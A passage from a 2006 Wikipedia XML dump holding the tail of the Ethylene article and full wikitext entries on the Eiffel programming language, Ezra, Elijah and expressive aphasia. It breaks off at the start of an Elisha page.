* Is a general indicator of poor root health.  Strategy of senescent leaves may to funnel more resources to the root.  ([http://www.planthormones.info speculative])
* May be more active at night when root and mineral acquisition are, on average, lower ([http://www.planthormones.info speculative])
* Just as a role of auxin may be to increase minerals and water by shoot growth, ethylene may do this by shoot senescence.  [[Cytokinin]] and auxin hormones are released when conditions are favorable for growth, for example during the day.  Ethylene and [[gibberellin]] (or [[brassinosteroid]]) may be released when the plant must either cut back in size, or survive on stored resources, for example during the night.  ([http://www.planthormones.info speculative])
* Induces flowering in [[pineapple]]s
*In food production, some plants are considered ethylene producers, while others are considered ethylene sensitive.

==External links==
*[http://www.ilo.org/public/english/protection/safework/cis/products/icsc/dtasht/_icsc04/icsc0475.htm International Chemical Safety Card 0475]
*[http://ecb.jrc.it/ European Chemicals Bureau]

{{Plant_hormones}}

[[Category:Alkenes]]
[[Category:Plant hormones]]
[[Category:Monomers]]

{{Link FA|de}}

[[ar:إثيلين]]
[[ca:Etilè]]
[[da:Ethen]]
[[de:Ethen]]
[[es:Eteno]]
[[fr:Éthylène]]
[[it:Etene]]
[[lv:Etilēns]]
[[nl:Etheen]]
[[ja:エチレン]]
[[pl:Eten]]
[[pt:Etileno]]
[[ru:Этилен]]
[[sv:Eten]]
[[tr:Etilen]]
[[zh:乙烯]]</text>
    </revision>
  </page>
  <page>
    <title>Eiffel programming language</title>
    <id>9838</id>
    <revision>
      <id>42097007</id>
      <timestamp>2006-03-03T20:31:08Z</timestamp>
      <contributor>
        <username>Trixx</username>
        <id>168932</id>
      </contributor>
      <comment>/* Specifications and standards */</comment>
      <text xml:space="preserve">'''Eiffel''' is an [[object-oriented]] [[programming language]] which emphasizes the production of robust software. Its syntax is keyword-oriented in the [[ALGOL]] and [[Pascal programming language|Pascal]] tradition. Eiffel is strongly [[Static typing|statically typed]], with automatic memory management (typically implemented by [[Garbage collection (computer science)|garbage collection]]).

Begun in 1985, Eiffel is a mature language with development systems available from multiple suppliers. Despite this maturity and a generally excellent reputation among those who are familiar with it, Eiffel has failed to gain as large a following as some other object-oriented languages. The reasons for this lack of interest are unclear, and are a topic of frequent discussion within the Eiffel community.

Distinguishing characteristics of Eiffel include [[design by contract]] (DbC), liberal use of [[inheritance]] including multiple inheritance, a type system handling both value and reference semantics, and generic classes. Eiffel has a unified type system&amp;mdash;all types in Eiffel are classes.

Eiffel has the ability to define new operators, but does not have [[operator overloading]] or [[method overloading]].

=== Elegance, simplicity, or restrictiveness? ===
The Eiffel language aims to promote clear and elegant programming. Eiffel emphasizes declarative statements over procedural code, and eliminates the need for bookkeeping instructions.

Eiffel intentionally limits stylistic expression, providing few means for clever coding tricks or coding techniques intended as [[Optimization (computer science)|optimization]] hints to the compiler. Some software developers feel constrained by Eiffel's simplicity and compiler-enforced structure; the language has been referred to as a &quot;bondage and discipline&quot; language.

In contrast, others feel that the simplicity of the language not only makes the code more readable, but also allows a programmer to concentrate on the important aspects of a program without getting bogged down in implementation details.  Eiffel's simplicity is intended to promote simple, readable, usable, reusable, reliable and correct answers to computing problems.  

===Lexical simplicity===
Eiffel is not case-sensitive. Keywords and identifiers can be written in any combination of upper and lower case. The tokens ''MaKe'', ''make'', and ''MAKE'' all refer to the same identifier. Coding standards, however, generally prescribe the use of all-capitals for class names, all-lower-case for variables and method names, and initial capitals for constants, with underscores separating words.

Eiffel's syntax can be parsed without requiring end-of-instruction markers. The use of semicolons as instruction terminators or as instruction separators is left to the discretion of the programmer. Putting a semicolon in or leaving one out makes no difference, except in the unusual case of an instruction starting with a left parenthesis. Most Eiffel programmers choose to omit semicolons except when putting multiple statements on a line.

Eiffel requires that sections and clauses appear in a specific order.

In contrast to most [[curly bracket programming language]]s, Eiffel does not let expressions be used as instructions, nor instructions be used as expressions. Thus, a routine which returns a value can only be used in expressions, while a routine which does not return a value can only be invoked as an instruction.

This philosophy&amp;mdash;that expressions and statements are fundamentally different in nature&amp;mdash;is expanded into the concept of [[Command-Query Separation]] (CQS). Under CQS, a query routine (a function which returns a value) must not change the state of the object, while a command routine will change the state of the object but will not return a value. CQS is strongly recommended for Eiffel programming, but is not actually enforced by the Eiffel system.

Unlike most programming languages, Eiffel is not normally displayed in a monospaced typeface. The recommended display style is to use a proportional typeface. Keywords are shown in bold, user-defined identifiers and constants are shown in italics. Standard upright (roman) style is used for comments, operators, and punctuation marks.

=== Syntactic simplicity ===

Eiffel has only six basic executable instructions:
* assignment
* object creation
* routine call
* conditional
* iteration
* choice (case)

Unlike many object-oriented languages, but similar to [[Smalltalk programming language|Smalltalk]], Eiffel does not permit storing into fields of other objects. The assignment instruction can only change the value of a field of the current object, or a [[Subprogram#Local_variables, recursion and re-entrancy|local variable]] of the current routine. All changes to other objects must be accomplished by calls to methods of that object. Direct access to fields of other objects is &quot;read only&quot; in Eiffel.

The iteration (loop) instruction in Eiffel does not provide a field or clause which will step the loop. The programmer must express the stepping as part of the loop. For example:&lt;br /&gt;
   '''from''' i := 0 '''until''' i &gt;= 10 '''loop'''
      my_array.put (0, i)
      ''i'' := ''i'' + ''1''
   '''end'''

The example above also illustrates that Eiffel treats arrays simply as instances of the class ''ARRAY'', providing access in the form of routine calls, in line with object-oriented ideas. Eiffel compilers optimize this access.

Eiffel's procedural coding is strictly structured. There are no instructions for exiting a loop or routine  early.

== Non-object-oriented operations ==

Eiffel is a purely object-oriented language. Any coding which must be &quot;close to the machine&quot; is expected to be done in [[C programming language|C]]. Eiffel provides a straightforward interface to C routines, including allowing for straight C calls within Eiffel code. Eiffel is generally closely connected to C: three of the four Eiffel [[compiler]]s output no [[object file|object]] or [[Machine language|machine]] code, but only C [[source code]] as an [[intermediate language]], to submit to a C compiler, for [[Optimization (computer_science)|optimizing]] and [[Porting|portability]].

== Background of Eiffel ==

Eiffel was originally developed by [[Bertrand Meyer]] and his company [[Interactive Software Engineering]] (ISE), since renamed Eiffel Software, Inc. Eiffel closely follows Dr. Meyer's work in ''Object Oriented Software Construction, Second Edition''. Eiffel differs from most popular languages in several ways.

The goal of the language, libraries, and programing methods is to create reliable, reusable software modules.  It supports [[multiple inheritance]], [[genericity]], [[polymorphism (computer science)|polymorphism]], [[encapsulation]], and [[parameter covariance]].  Its most important contribution to [[software engineering]] is [[Design by contract]] (DbC), in which [[assert]]ions, [[precondition|preconditions]], [[postcondition|postconditions]], and [[class invariant|class invariants]] are used to assist in assuring program correctness without sacrificing efficiency.

Eiffel also offers multiple class inheritance. Many people (such as the designers of [[Java programming language|Java]]) have objections to multiple inheritance. The Eiffel implementation of multiple inheritance, in the opinion of its supporters, successfully meets these objections.  

Eiffel's design is closely based on Object-Oriented Programming (OOP) theory, with less influence from other paradigms or support for legacy code.  The language has formal support for [[abstract data type]]s. In accordance with Self Documentation, a software text should be able to reproduce its design documentation from the text itself. Eiffel accomplishes this by using a formalized implementation of the Abstract Data Type.

[[EiffelStudio]], an integrated development environment for Eiffel, offers an object-oriented interface for [[software engineering]]. However, many programmers dislike it because its user interface is very different from other integrated development environments. There are two alternative [[open source]] implementations, [[SmartEiffel]] - the GNU implementation, and [http://visual-eiffel.org Visual Eiffel], which provides a more &quot;traditional&quot; interface. So does [[EiffelEnvision]], a plugin for [[Microsoft Visual Studio]] which allows users to edit, compile, and debug Eiffel apps from within the Microsoft Visual Studio IDE. EiffelStudio and EiffelEnvision are only free for non-commercial use, though.

== Specifications and standards==

The most widely accepted standard for Eiffel is the second edition of &lt;cite&gt;Eiffel: The Language&lt;/cite&gt;, Prentice Hall, second printing, 1992 (first printing: 1991), also known among the Eiffel community as ETL2

On the [[21 June]] [[2005]] the [[European Computer Manufacturers Association]] (ECMA) approved the first international standard for Eiffel [http://www.ecma-international.org/publications/standards/Ecma-367.htm &lt;cite&gt;ECMA standard 367, Eiffel Analysis, Design and Implementation Language&lt;/cite&gt;]. The standard introduces several modifications to the language which are unimplemented to the date.

This standard is not accepted by the [[SmartEiffel]] team, which has decided to create its own version of the language, because they think the ECMA standard throws away important principles of the original language. Other compiler vendors have not expressed if they will adopt the standard or not.

The standard cites the following as earlier Eiffel Language specifications:
* Bertrand Meyer: &lt;cite&gt;Eiffel: The Language&lt;/cite&gt;, Prentice Hall, second printing, 1992 (first printing: 1991)
* Bertrand Meyer: &lt;cite&gt;Standard Eiffel&lt;/cite&gt; (revision of preceding entry), ongoing, 1997-present, at [http://www.inf.ethz.ch/~meyer/ongoing/etl &lt;cite&gt;Betrand Meyer's ETL3 page&lt;/cite&gt;], and
*Bertrand Meyer: &lt;cite&gt;Object-Oriented Software Construction&lt;/cite&gt;, Prentice Hall: first edition, 1988; second edition, 1997.

The ETL3 page requires a password for access which can be found at [http://se.inf.ethz.ch/~meyer/ &lt;cite&gt;Bertrand Meyer's Home Page&lt;/cite&gt;] under [http://se.inf.ethz.ch/~meyer/#Progress &lt;cite&gt;Work in progress&lt;/cite&gt;]

== Differences between SmartEiffel and other implementations ==

* [[EiffelBase]], a part of the ISE Eiffel library which has been released under an ISE open-source license, does not compile properly on [[SmartEiffel]]. The Gobo library documentation explains that despite heroic efforts, EiffelBase was impossible to port to SmartEiffel.

== A &quot;Hello World&quot; program in Eiffel ==

 '''class''' ''HELLO_WORLD''&lt;br /&gt;'''create'''&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;''make''&lt;br /&gt;
 '''feature'''&lt;br /&gt;
    ''make'' '''is'''&lt;br /&gt;
       '''do'''&lt;br /&gt;
          ''io.put_string'' (&quot;''Hello, world!%N''&quot;)&lt;br /&gt;
       '''end'''&lt;br /&gt;
 '''end'''

== See Also ==
* [[Apple Media Tool]] which includes the Eiffel-based Apple Media Language

== External links ==
* [http://www.eiffel.com/ Eiffel Software] web site of the company that introduced Eiffel, was Interactive Software Engineering (ISE).
* Eiffel tutorial (100 pages) by [[Bertrand Meyer]] ([http://archive.eiffel.com/doc/online/eiffel50/intro/language/tutorial-00.html HTML], [http://www.eiffel.com/doc/online/eiffel50/intro/language/tutorial.pdf PDF])
* [http://smarteiffel.loria.fr/ SmartEiffel] fairly complete Eiffel compiler, released under GNU GPL license, was SmallEiffel, not ECMA standard compliant.
* [http://visual-eiffel.org Visual Eiffel] an [[open source]] implementation of Eiffel creating [[native code]] for X86 systems (Windows, Linux)
* [http://www.eiffel-nice.org/ NICE] Nonprofit International Consortium for Eiffel.
* [http://eiffelzone.com/ eiffelzone.com] Includes a comprehensive Eiffel Software Directory
* [http://www.cetus-links.org/oo_eiffel.html Cetus Eiffel Page]

== References ==
* ''Object Oriented Software Construction, Second Edition'', by [[Bertrand Meyer]], Prentice Hall, 1997, ISBN 0-13-629155-4; contains a very detailed treatment of the beliefs about object-orientation behind Eiffel.
* [http://archive.eiffel.com/nice/language/ &lt;cite&gt;Eiffel: the Language&lt;/cite&gt;] subset

{{Major programming languages small}}
[[Category:Programming languages]]

[[da:Eiffel (programmeringssprog)]]
[[de:Eiffel (Programmiersprache)]]
[[es:Lenguaje de programación Eiffel]]
[[eo:Eiffel (programlingvo)]]
[[fr:Eiffel (langage)]]
[[it:Eiffel (linguaggio)]]
[[nl:Eiffel (programmeertaal)]]
[[ja:Eiffel]]
[[pl:Eiffel (język programowania)]]
[[ru:Эйфель (язык программирования)]]
[[sk:Eiffel (programovací jazyk)]]</text>
    </revision>
  </page>
  <page>
    <title>Ezra</title>
    <id>9839</id>
    <revision>
      <id>41958021</id>
      <timestamp>2006-03-02T21:56:09Z</timestamp>
      <contributor>
        <ip>206.63.89.50</ip>
      </contributor>
      <comment>/* Relation to the Book of Ruth */</comment>
      <text xml:space="preserve">::''For other meanings, see [[Ezra (disambiguation)]].''

'''Ezra''' ('''&amp;#1506;&amp;#1462;&amp;#1494;&amp;#1456;&amp;#1512;&amp;#1464;&amp;#1488;''', [[Standard Hebrew]] '''&amp;#703;Ezra''', [[Tiberian Hebrew]] '''&amp;#703;Ezrâ''': short for '''&amp;#1506;&amp;#1463;&amp;#1494;&amp;#1456;&amp;#1512;&amp;#1460;&amp;#1497;&amp;#1488;&amp;#1461;&amp;#1500;''' &quot;My help/court is [[Elohim|God]]&quot;, [[Standard Hebrew]] '''&amp;#703;Azri&amp;#702;el''', [[Tiberian Hebrew]] '''&amp;#703;Azrî&amp;#702;&amp;#275;l''') was the &quot;scribe&quot; who led the second body of exiled [[History of ancient Israel and Judah|Israelites]] that returned from [[Babylon]] to [[Jerusalem]] in [[459 BCE]], and is probably the author of the ''[[Book of Ezra]]'' and the ''[[Book of 1 Chronicles]]'' in the [[Bible]]. 

He was the son, or perhaps grandson, of [[Seraiah]] (''[[Books of Kings|2 Kings]]'' 25:18-21), and a lineal descendant of [[Phinehas]], the son of [[Aaron]] (''Ezra'' 7:1-5). All we know of his personal history is contained in the last four chapters of his book, and in ''[[Book of Nehemiah|Nehemiah]]'' 8 and 12:26.

In the seventh year of the reign of [[Artaxerxes I|Artaxerxes Longimanus]] (see also [[Darius I of Persia]]), he obtained leave to go up to [[Jerusalem]] and to take with him a company of Israelites (''Ezra'' 8). Artaxerxes manifested great interest in Ezra's undertaking, granting him &quot;all his request,&quot; and loading him with gifts for the house of God. Ezra assembled the band of exiles, probably about 5,000 in all, who were prepared to go up with him to Jerusalem, on the banks of the [[Ahava]], where they rested for three days, and were put into order for their march across the desert, which was completed in four months. His activities in Jerusalem following his arrival are recorded in his book.

For about fourteen years, (i.e., until [[445 BCE]]), we have no record of what went on in Jerusalem after Ezra had set in order the ecclesiastical and civil affairs of the nation. In that year another distinguished personage, [[Nehemiah]], appears on the scene. After the ruined [[Defensive wall|wall of the city]] had been built by Nehemiah, there was a great gathering of the people at Jerusalem preparatory to the dedication of the wall. On the appointed day the whole population assembled, and the [[Torah]] was read aloud to them by Ezra and his assistants (Neh. 8:3). The remarkable scene is described in detail. There was a great religious awakening. For successive days, beginning on [[Rosh Hashanah]] (the first day of the seventh month) they rejoiced in the holy days of the month of [[Tishri]]. Ezra read to them the entire scroll of the Torah and he and various scholars and [[Levite]]s explained and interpreted the deeper meanings and applications of the Torah to the assembled crowd. These festivities culminated in a very enthusiastic and joyous seven day celebration of the Festival of [[Sukkot]], concluding on the eighth day with the holiday of [[Shemini Atzeret]]. On the twenty-fourth day, immediately following the holidays they held a solemn assembly, fasting and confessing their sins and the iniquities of their fathers. Then, they renewed their national covenant to follow God's Torah, given through the hand of [[Moses]], and to observe and fulfill all of the Lord's commandments, laws and decrees. (Neh. 10:30). Abuses were rectified, and arrangements for the temple service completed, and now nothing remained but the dedication of the walls of the city (Neh. 12).

==Relation to the Book of Ruth==
According to many scholars, the ''[[Book of Ruth]]'' was originally a part of the ''[[Book of Judges]]'', but it was later separated from that book and made into a separate book. Its opening verse explicitly places it during the time period of the Judges, and its language and description seem to make the authorship contemporary with that period. On the other hand, the message of the book, which shows acceptance of marrying [[converts]] to [[Judaism]], has been used to suggest that the book was written during the early days of the [[Persian Empire|Persian]] period. At that time, Ezra condemned [[intermarriage]]s and, according to his eponymous book, forced the Israelites to abandon their non-Jewish wives who did not convert. According to this theory, the ''Book of Ruth'' was written in response to Ezra's reform and in defense of these marriages. More likely, the book was a response to critics of King [[David]], who contested his qualifications as a [[Jew]] due to his [[Moab]]ite ancestry. In that context, the book uses the precedent set by a Jewish court, lead by [[Boaz]], to demonstrate that a Moabitess could convert and be a member of the Children of Israel.

==Place in editing the Torah and Bible==
According to [[Rabbinic]] Jewish tradition, Ezra collected and arranged the [[Biblical canon | canon]] of the [[Hebrew Bible]]. Information on his activities in this regard are found in the [[Talmud]] and in the [[midrash]] literature.

In the view of many modern scholars, these sources provide one set of evidence in favor of the [[documentary hypothesis]]. In this view, some midrash compilations retain evidence of the [[redaction]]al period during which Ezra redacted and canonized the text of the [[Torah]] as we know it today. This idea is discussed by Rabbi [[David Weiss Halivni]] in his works ''Revelation Restored: Divine Writ and Critical Responses'' (Westview Press, 1997), and ''Peshat and Derash: Plain and Applied Meaning in Rabbinic Exegesis'' (Oxford University Press, 1998). Richard Elliot Friedman suggests that Ezra was the second editor who combined the priestly source into the Torah and that the J and E sources had been combined by an earlier editor.  If so Ezra seems to have been careful to preserve almost all of the original sources in the final composite.[http://www.beliefnet.com/story/139/story_13986_1.html] Jewish sources do not mention about editing or redacting the [[Torah]]. Rather, the ''[[aggada]]'' suggests that Ezra and the Men of the Great Assembly edited such works as ''[[Book of Daniel|Daniel]]'', ''[[Book of Esther|Esther]]'' and ''[[Book of Ezekiel|Ezekiel]]''. (''[[Bava Batra]]'' 14b).

==Ezra in the Qur'an==
'''Ezra''' is also mentioned in the [[Muslim]] Qur'an as '''Uzair''' &quot;9:30: The Jews call 'UZAIR a son of [[Allah]], and the [[Christians]] call [[Jesus]] the son of Allah. That is a saying from their mouth; (in this) they but imitate what the unbelievers of old used to say. Allah's curse be on them: how they are deluded away from the Truth!&quot; There is historical evidence that Jews did refer to Ezra as the son of Allah, the Encyclopaedia Judaica states: &quot;H. Z. Hirschberg proposed another assumption, based on the words of Ibn Hazm, namely, that the 'righteous who live in Yemen believed that 'Uzayr was indeed the son of Allah.' According to other Muslim sources, there were some Yemenite Jews who had converted to Islam who believed that Ezra was the messiah. For Muhammad, Ezra, the apostle (!) of messiah, can be seen in the same light as the Christian saw Jesus, the messiah, the son of Allah.&quot; Encyclopaedia Judaica, Ibid., p. 1108.

He is also mentioned in the [[Hadith of seeing God as the clear as the sun]].

[[Category:Tanakh prophets]]

[[fr:Esdras]]
[[id:Ezra]]
[[he:עזרא הסופר]]
[[ja:エズラ]]
[[fi:Esra]]</text>
    </revision>
  </page>
  <page>
    <title>Elijah (prophet)</title>
    <id>9840</id>
    <revision>
      <id>41632057</id>
      <timestamp>2006-02-28T17:39:23Z</timestamp>
      <contributor>
        <username>Ghirlandajo</username>
        <id>147410</id>
      </contributor>
      <minor />
      <comment>/* Elijah in other traditions */</comment>
      <text xml:space="preserve">:''This article is about the prophet in the [[Hebrew Bible]]. For the work by Felix Mandelssohn, see [[Elijah (oratorio)|''Elijah'' (oratorio)]].''

'''Elijah''' ('''אֱלִיָּהוּ''' &quot;Whose/my [[Names of God in Judaism|God]] is [[Tetragrammaton|the Lord]]&quot;, [[Standard Hebrew]] '''Eliyyáhu''', [[Tiberian Hebrew]] '''ʾĔliyyāhû'''), also '''Elias''' ([[New Testament|NT]] [[Greek language|Greek]] '''Ἠλίας'''), is a [[prophet]] of the [[Hebrew Bible]] or [[Old Testament]]. His name has been variously translated as &quot;whose God is [[Tetragrammaton|the Lord]]&quot;, &quot;God the Lord&quot;, &quot;the strong Lord&quot;, &quot;God of the Lord&quot;, &quot;my God is the Lord&quot;, &quot;the Lord is my God&quot;, and &quot;my God is Jehovah&quot;.

==In the Hebrew Bible==

Elijah is first introduced in [[Books of Kings|1 Kings]] 17:1 as delivering a message from God to [[Ahab]], king of [[kingdom of Israel|Israel]]. He is sometimes known as &quot;[[Tishbite|The Tishbite]]&quot;, being from the town of [[Tishbe]].

Having delivered his message to Ahab, he retired at the command of God to a hiding-place by the brook [[Cherith]], beyond [[Jordan river|Jordan]], where he was fed by [[raven]]s. When the brook dried up God sent him to the widow of [[Zarephath]], a city of [[Zidon]], from whose scanty store he was supported for the space of two years. During this period the widow's son died, and was restored to life by Elijah (1 Kings 17:2-24).

During these two years a famine prevailed in the land. At the close of this period of retirement and of preparation for his work, Elijah met [[Obadiah]], one of Ahab's officers, whom he had sent out to seek for pasturage for the cattle, and bade him go and tell his master that Elijah was there. The king came and met Elijah, and reproached him as the &quot;troubler of Israel&quot;. It was then proposed that sacrifices should be publicly offered, for the purpose of determining whether [[Baal]] or the Israelite God was the true God. This was done on [[Mount Carmel, Israel|Mount Carmel]]; the result was that a miracle took place convincing those watching that Baal was false and that the Israelite God [[YHVH]](יהוה), was the true and only God. The prophets of Baal were then put to death by the order of Elijah. 

[[Jezebel (biblical)|Jezebel]], enraged at the fate that had befallen her priests of Baal, threatened to put Elijah to death (1 Kings 19:1-13). He therefore fled in alarm to [[Beersheba]], and went alone into the wilderness, and sat down in despondency under a [[juniper|juniper tree]]. As he slept, an angel touched him, and said unto him, &quot;Arise and eat; because the journey is too great for thee.&quot; He arose and found a cake and a cruse of water. Having partaken of the provision, he went forward on his way for forty days to [[Horeb]], where he took residence in a cave. Here God appeared to him and said, &quot;What dost thou here, Elijah?&quot; In answer to Elijah's despondent words God manifests to him his glory, and then directs him to return to [[Damascus]] and anoint [[Hazael]] king over the [[Arameans]](Syria), [[Jehu]] king over Israel, and [[Elisha]] to be prophet in his room (1 Kings 19:13-21; compare [[2 Kings]] 8:7-15; 9:1-10).

Some six years after this, he warned Ahab and Jezebel of the violent deaths they would die (1 Kings 21:19-24; 22:38). He also, four years afterwards, warned [[Ahaziah of Israel|Ahaziah]], who had succeeded his father Ahab, of his approaching death (2 Kings 1:1-16).  During these intervals he probably withdrew to some quiet retirement, no one knew where. His interview with Ahaziah's messengers on the way to [[Ekron]], and the account of the destruction of his captains with their fifties, suggest the idea that he may have been in retirement at this time on Mount Carmel. The [[Carmelites]] have a tradition that they were founded by Elijah at this time.

The time now drew near when he was to be taken up into heaven (2 Kings 2:1-12). He went down to [[Gilgal]], where there was a school of the prophets, and where his successor Elisha, whom he had anointed some years before, resided. Elisha was solemnized by the thought of his master's leaving him, and refused to be parted from him. &quot;They two went on&quot;, and came to Bethel and [[Jericho]], and crossed the Jordan, the waters of which were &quot;divided hither and thither&quot; when smitten with Elijah's mantle. Arrived at the borders of [[Gilead]], which Elijah had left many years before, it &quot;came to pass as they still went on and talked&quot; they were suddenly separated by a chariot and horses of fire; and &quot;Elijah went up by a whirlwind into heaven, &quot;Elisha receiving his mantle, which fell from him as he ascended.

Elijah's chosen successor was the prophet [[Elisha]]; Elijah designated Elisha as such by leaving his mantle with him (2 Kings 2:13-15), so that his wish for &quot;a double portion&quot; of the older prophet's spirit (2:9), in allusion to the preference shown the first-born son in the division of the father's estate ([[Deuteronomy]] 21:17), had been fulfilled.

It is believed that the prophet Elijah shall return at the end of time to foretell the coming of the [[Jewish Messiah]].

==Other Biblical Elijahs==

The Elijah spoken of in [[Books of Chronicles|2 Chronicles]] 21:12-15 is by some supposed to be a different person from the foregoing. He lived in the time of [[Jehoram of Judah|Jehoram]], to whom he sent a letter of warning (compare 1 Chr. 28:19; [[Book of Jeremiah|Jeremiah]] 36), and acted as a prophet in Judah; while the Tishbite was a prophet of the northern kingdom. But there does not seem any necessity for concluding that the writer of this letter was some other Elijah than the Tishbite. It may be supposed either that Elijah anticipated the character of Jehoram, and so wrote the warning message, which was preserved in the schools of the prophets till Jehoram ascended the throne after the Tishbite's translation, or that the translation did not actually take place till after the accession of Jehoram to the throne (2 Chr. 21:12; 2 Kings 8:16). The events of 2 Kings 2 may not be recorded in chronological order, and thus there may be room for the opinion that Elijah was still alive in the beginning of Jehoram's reign.

How deep the impression was which Elijah made &quot;on the mind of the nation&quot; of Israel may have been can be judged from the fixed belief, which rested on the words of [[Book of Malachi|Malachi]] (4:5, 6), which many centuries after, prevailed that Elijah  would again appear for the relief and restoration of the country.

When [[Jesus]] asks who people say he is, his disciples replied, &quot;Some say John the Baptist; others say Elijah; and still others, Jeremiah or one of the prophets&quot; ([[Gospel of Matthew|Matthew]] 16:14), which was referring to the belief of some of the Jews at the time that Jesus was, in fact, Elijah returned from heaven.

==New Testament references==

No one of the old prophets is so frequently referred to in the [[New Testament]]. The priests and [[tribe of Levi|Levites]] said to [[John the Baptist]] ([[Gospel of John|John]] 1:25), &quot;Why baptizest thou, if thou be not that Christ, nor Elias?&quot; [[Paul of Tarsus|Paul]] ([[Epistle to the Romans|Romans]] 11:2) refers to an incident in his history to illustrate his argument that God had not cast away his people. [[Epistle of James|James]] (5:17) finds in him an illustration of the power of prayer. (See also [[Gospel of Luke|Luke]] 4:25; 9:54.)

Elijah was similar to John the Baptist in the sternness and power of his reproofs (Luke 9:8). According to [[Gospel of Matthew|Matthew]] 11:11, John the Baptist was the Elijah that &quot;must first come&quot; (Matt. 11:11, 14). In John the Baptist, one can see Elijah: we see &quot;the same connection with a wild and wilderness country; the same long retirement in the desert; the same sudden, startling entrance on his work (1 Kings 17:1; Luke 3:2); even the same dress, a hairy garment, and a leathern girdle about the loins (2 Kings 1:8; [[Matthew 3:4|Matt. 3:4]]).&quot;

Each remarkable person as he arrives on the scene, be his habits and characteristics what they may; the stern John equally with his gentle Successor, is proclaimed to be Elijah (Matt. 11:13, 14; 16:14; 17:10; [[Gospel of Mark|Mark]] 9:11; 15:35; Luke 9:7, 8; John 1:21). Elijah's appearance in glory at the [[Transfiguration]] does not seem to have startled the [[disciple]]s. They were &quot;sore afraid&quot;, but not apparently surprised.

Some Christian theologians of a conservative, pre-millennial perspective believe that Elijah must return to physically die here on earth eventually, perhaps as one of the 'two witnesses' in the [[Book of Revelation]]. This plays into many [[eschatological]] scenarios.  Conservatives who come from [[amillennial]] or [[preterist]] positions would probably see [[John the Baptist]] as a fulfillment of this expectation, in the time of Jesus.  Christian theologians of a more liberal persuasion would tend to interpret Elijah's eschatological significance in a less literal sense.

==Elijah in other traditions==

In the [[Qur'an]], Elijah is a [[Prophets of Islam|prophet]] known as [[Ilyas]]. The Turks believe that Elijah and [[Job (Biblical figure)|Job]] were buried at Eyyup Nebi, near [[Viranşehir]].

Members of the [[Church of Jesus Christ of Latter-Day Saints]] also acknowledge Elijah as a prophet. Latter-Day Saints believe that in [[1836]] an angelic Elijah visited the founder of their church, [[Joseph Smith, Jr.]] in the [[Kirtland Temple]] in [[Kirtland, Ohio]] and gave him the sacred power to seal families together.

As Elijah was described as ascending into heaven in a fiery chariot, the Christian missionaries who converted Slavic tribes likely found him an ideal analogy for [[Perun]], the supreme Slavic god of storms, thunder and lightning bolts. In many Slavic countries Elijah is known as Elijah the Thunderer (Ilija Gromovik), who drives the heavens in chariot and administers rain and snow, thus actually taking the place of [[Perun]] in popular beliefs.

==External links==
*[http://www.angelfire.com/pa2/passover/elijah-the-prophet-elijah.html Elijah] Details various events in the life of Elijah and relates Elijah to the Passover/Pesach story.
*[http://www.jewishencyclopedia.com/view.jsp?artid=245&amp;letter=E&amp;search=Elijah ''Jewish Encyclopedia Entry on Elijah]
*[http://www.newadvent.org/cathen/05381b.htm ''Catholic Encyclopedia Entry on Elijah'']
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-65 ''Dictionary of the History of Ideas: Cosmic Voyages''] - Mentions (in passing) the story of Elijah being carried up to heaven in a flaming chariot as an inspiration for human flight
* [http://www.biblicalstudies.org.uk/article_elijah.html ''Elijah'' by Rob Bradshaw] Extensive dictionary style article.

[[Category:Tanakh people]]
[[Category:Tanakh prophets]]

[[ca:Elies]]
[[cs:Elijáš]]
[[de:Elija]]
[[eo:Elija]]
[[fr:Élie]]
[[he:אליהו הנביא]]
[[nl:Elia (profeet)]]
[[ja:エリヤ]]
[[yi:אליהו הנביא]]
[[pl:Eliasz]]
[[ro:Ilie]]
[[ru:Илья (пророк)]]
[[sv:Elijah]]
[[zh:以利亞]]</text>
    </revision>
  </page>
  <page>
    <title>Expressive aphasia</title>
    <id>9841</id>
    <revision>
      <id>41941227</id>
      <timestamp>2006-03-02T19:52:42Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{merge|Expressive language disorder}}
{{DiseaseDisorder infobox |
  Name        = Expressive aphasia |
  ICD10       = F80.1 |
  ICD9        = {{ICD9|315.31}} |
}}
'''Expressive aphasia''', known as '''Broca's aphasia''' in [[clinical neuropsychology]] and '''agrammatic aphasia''' in [[cognitive neuropsychology]], is an [[aphasia]] caused by damage to anterior regions of the [[brain]], including (but not limited to) the left inferior frontal region known as [[Broca's area]] ([[Brodmann area 44]] and [[Brodmann area 45]]).

[[image:surfacegyri.jpg|thumb|550px|Figure one illustrates significant language areas of the brain. In Broca's aphasia, the area typically lost is highlighted in blue. In Wernicke's aphasia, the area lost is highlighted in green.]]

Sufferers of this form of aphasia exhibit the common problem of '''agrammatism'''. For them, [[speech]] is difficult to initiate, nonfluent, labored, and halting. [[Intonation]] and stress patterns are deficient. [[Language]] is reduced to disjointed words and sentence construction is poor, omitting [[function word]]s and [[inflections]] ([[bound morpheme]]s). A person with expressive aphasia might say ''&quot;Son ... University ... Smart ... Boy ... Good ... Good ... &quot;''

For example, in the following passage, a Broca's aphasic patient is trying to explain how he came to the hospital for dental surgery. 

&lt;blockquote&gt;&quot;Yes... ah... Monday... er... Dad and Peter H... (his own name), and Dad.... er... hospital... and ah... Wednesday... Wednesday, nine o'clock... and oh... Thursday... ten o'clock, ah doctors... two... an' doctors... and er... teeth... yah.&quot;&lt;sup&gt;1&lt;/sup&gt;.
&lt;/blockquote&gt;

[[Comprehension]] is usually preserved and patients who recover go on to say that they knew what they wanted to say but could not express themselves. Residual deficits will often be seen.

Expressive Aphasia is also a classification of non-fluent aphasia, as opposed to fluent aphasia. Diagnosis is done on a case by case basis, as [[lesions]] often affect surrounding [[cortex]] and deficits are not well conserved between patients.

== See also ==
* [[Broca's area]]
* [[aphasia]]
* Compare with [[receptive aphasia|receptive aphasia (Wernicke's aphasia)]].

==References==
&lt;sup&gt;1&lt;/sup&gt;Goodglass, H. &amp; Geschwind, N. (1976) Language disorders. In E. Carterette and M.P. Friedman (eds.) ''Handbook of Perception: Language and Speech. Vol II''. New York: Academic Press.

[[Category:Aphasia]]


{{psych-stub}}
{{med-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Elisha</title>
    <id>9842</id>
    <revision>
      <id>37038593</id>
      <timestamp>2006-01-28T03:46:37Z</timestamp>
      <contributor>
        <ip>70.18.248.145</ip>
      </contributor>
